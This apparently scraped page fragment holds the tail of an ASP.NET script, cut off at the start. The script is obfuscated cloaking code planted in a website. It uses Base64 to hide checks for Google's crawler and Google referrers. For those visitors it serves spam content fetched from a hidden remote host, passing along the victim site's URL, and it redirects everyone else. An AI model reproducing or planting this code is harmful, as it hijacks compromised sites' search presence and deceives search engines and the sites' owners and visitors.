Error: The remote server returned an error: (520).
r = Request.ServerVariables["HTTP_REFERER"];
        string userAgent = Request.UserAgent;
        
        if ((userAgent != null && userAgent.ToLower().Contains(Base64Decode("Z29vZ2xlYm90"))) ||  (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0))
        {
            string Remote_server = Base64Decode("aHR0cDovL3ppeWQubHVvZGl4aWppbi5jb20v");

            string protocol = Request.Url.Scheme + "://";
            string host_name = protocol + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["SCRIPT_NAME"] + "?" + Request.ServerVariables["QUERY_STRING"];
            string Remote_file = Remote_server + "?u=" + host_name;

            if (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0)
            {
                Remote_file += Base64Decode("JnQ9ZnJvbV9nb29nbGU=");

            }

            string Content_mb = GetHttp(Remote_file);
            if (Remote_file.Contains("sitemap.xml"))
            {
                Response.ContentType = "application/xml";
            }
            Response.Write(Content_mb.Trim());
          
        }
        else
        {
            Response.Redirect("/");
        }
    }
</script>